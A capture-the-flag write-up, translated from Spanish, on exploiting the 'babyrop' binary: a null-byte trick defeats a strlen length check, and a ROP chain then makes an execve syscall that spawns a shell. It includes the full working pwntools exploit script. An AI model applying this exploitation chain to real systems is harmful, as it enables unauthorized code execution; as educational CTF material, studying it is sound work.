This page was translated from Spanish with AI. The original version is in Spanish: read the original.

babyrop

July 10, 20255 minutes

Analysis

Main function

bool main(EVP_PKEY_CTX *param_1)

{
  bool bVar1;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined8 local_20;
  int local_c;
  
  init(param_1);
  local_38 = 0;
  local_30 = 0;
  local_28 = 0;
  local_20 = 0;
  puts("What\'s your name?");
  local_c = input(&local_38,0x20);
  bVar1 = local_c == 0;
  if (bVar1) {
    printf("Hello, %s!\n",&local_38);
  }
  else {
    puts("Invalid name!");
  }
  return !bVar1;
}

The main function basically calls puts and then calls the input function, passing it the address of local_38 and 0x20; then it prints the value of local_38.

Input function

  do {
    sVar2 = read(0,&local_11,1);
    if ((sVar2 == 0) || (local_11 == '\n')) break;
    pcVar1 = (char *)((long)&local_98 + local_10);
    local_10 = local_10 + 1;
    *pcVar1 = local_11;
  } while (local_10 != 0x80);
  sVar3 = strlen((char *)&local_98);
  if (param_2 >= sVar3) {
    memcpy(param_1,&local_98,local_10);
  }
  return param_2 < sVar3;
}

This is a custom function to read user input. To make it easier to follow, we can rename the variables

  do {
    sVar2 = read(0,&caracter,1);
    if ((sVar2 == 0) || (caracter == '\n')) break;
    pcVar1 = (char *)((long)&buffer_entrada + length);
    length = length + 1;
    *pcVar1 = caracter;
  } while (length != 0x80);
  lenght_real = strlen((char *)&buffer_entrada);
  if (max_lenght >= lenght_real) {
    memcpy(result_input,&buffer_entrada,length);
  }
  return max_lenght < lenght_real;
}

The function reads characters one by one from standard input using read. On each iteration:

It reads one byte (one character) and stores it in caracter.

If read returns 0 (EOF) or the character read is ‘\n’ (newline), the loop breaks.

Otherwise, the character is stored in the buffer_entrada buffer at the current position (length), and length is incremented.

The loop stops after reading at most 128 characters (0x80), or earlier if a newline is found.

Then the real length of the string is computed with strlen, which measures up to the first null byte (’\0’). After that, it is compared with max_lenght (the maximum size passed as an argument). If the real length is less than or equal to max_lenght, the contents of the buffer are copied into the result (result_input).

Finally, the function returns 1 if the input exceeded the maximum allowed size (max_lenght), and 0 otherwise.

Example:

User input: Hola\x00Adios

Strlen mediría el length de esa string 

H o l a \x00 A d i o s
1 2 3 4

Total length: 4

So when memcpy is called as memcpy(destination addr, input (Hola\x00Adios), lenght (4)), a longer string than expected would be copied to the destination address, causing a buffer overflow.

Exploitation

Offset

With the logic from Analysis we can overflow the buffer. The expected input was 0x20 (32 characters), so the payload will be 31 ‘A’s, a null byte and lots of ‘B’s. strlen will only measure the length up to the null byte, and the ‘B’s will overflow the buffer

payload = b'A'*31
payload += b'\x00'
payload += b'B'*100
info(payload)

r.sendlineafter('name?', payload)
r.interactive()
python3 solve.py LOCAL
[*] AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x00BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB

[*] Got EOF while reading in interactive
$ 
[*] Interrupted
[*] Process '/home/d3bo/Desktop/pwn/main' stopped with exit code -11 (SIGSEGV) (pid 24976)

The buffer has overflowed; the next goal is to find the offset to RIP (how many B’s we need to send to overwrite RIP).

$ pwn cyclic 128
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaab
payload = b'A'*31
payload += b'\x00'
payload += b'aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaab'
python3 solve.py LOCAL GD
00:0000│ rsp 0x7ffdec739f18 ◂— 0x6161616861616167 ('gaaahaaa')
01:0008│     0x7ffdec739f20 ◂— 0x6161616a61616169 ('iaaajaaa')
02:0010│     0x7ffdec739f28 ◂— 0x6161616c6161616b ('kaaalaaa')
03:0018│     0x7ffdec739f30 ◂— 0x6161616e6161616d ('maaanaaa')
04:0020│     0x7ffdec739f38 ◂— 0x616161706161616f ('oaaapaaa')
05:0028│     0x7ffdec739f40 ◂— 0x6161617261616171 ('qaaaraaa')
06:0030│     0x7ffdec739f48 ◂— 0x6161617461616173 ('saaataaa')
07:0038│     0x7ffdec739f50 ◂— 0x6161617661616175 ('uaaavaaa')

The registers have been overwritten with the string generated by cyclic. Knowing that on ret, rip takes the value of rsp, the next value of rip will be gaaahaaa

pwn cyclic -l gaaa
24

The offset is 24.

Once we know the offset, we might think of loading shellcode and jumping to it, but NX is enabled, so shellcode can’t be executed. We can’t do a ret2libc either, because the binary is statically compiled and there is no system function to run commands.

ret2syscall

Using gadgets, we can set up the registers to make an execve syscall (59) to run /bin/sh

pwndbg> search /bin/sh
Searching for byte: b'/bin/sh'

There is no /bin/sh string in the binary. We could use read to store /bin/sh in the bss, but there is a quicker and less troublesome way

$ROPgadget --binary main | grep 'mov qword ptr \[rdi\]'

....
0x000000000043f04b : mov qword ptr [rdi], rax ; ret
....

What this does is store the contents of rax at the pointer in rdi.

Before:

After:

To set rsi to 0, the best gadget is pop rsi ; pop rbp ; ret, and to load 59 into rax, the best gadget is pop rax ; ret. The payload would look like this

    payload = flat(
        b'A' * 31, b'\x00', b'B' * offset,
        pop_rax, b'/bin/sh\x00', mov_qword_ptr_rdi_rax,
        pop_rsi_pop_rbp, 0, 0,
        pop_rax, 0x3b,
        syscall
    )
$ python3 solve.py LOCAL

Hello, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA!
$ whoami
d3bo
$  

Full exploit

#!/usr/bin/env python3

from pwn import *

HOST = "chal.78727867.xyz"
PORT = 34000

exe = ELF("./main")

context.binary = exe
context.terminal = ['tmux', 'splitw', '-h']
#context.log_level = 'warn'

gdb_script = '''
b main
b *0x00000000004297c3
continue
'''

def conn():
    if args.LOCAL:
        r = process([exe.path])
        if args.GDB:
            gdb.attach(r, gdbscript=gdb_script)
    else:
        r = remote(HOST, PORT)
    return r

def main():
    r = conn()

    offset = 24
    mov_qword_ptr_rdi_rax = 0x000000000043f04b
    pop_rax = 0x00000000004297c3
    pop_rsi_pop_rbp = 0x0000000000403d5a
    syscall = 0x00000000004025ea

    payload = flat(
        b'A' * 31, b'\x00', b'B' * offset, # JUNK
        pop_rax, b'/bin/sh\x00', mov_qword_ptr_rdi_rax, # RDI apunta a /bin/sh
        pop_rsi_pop_rbp, 0, 0, # RSI & RBP = 0
        pop_rax, 0x3b, # RAX = 59
        syscall
    )

    r.sendlineafter('name?', payload)
    r.interactive()

if __name__ == "__main__":
    main()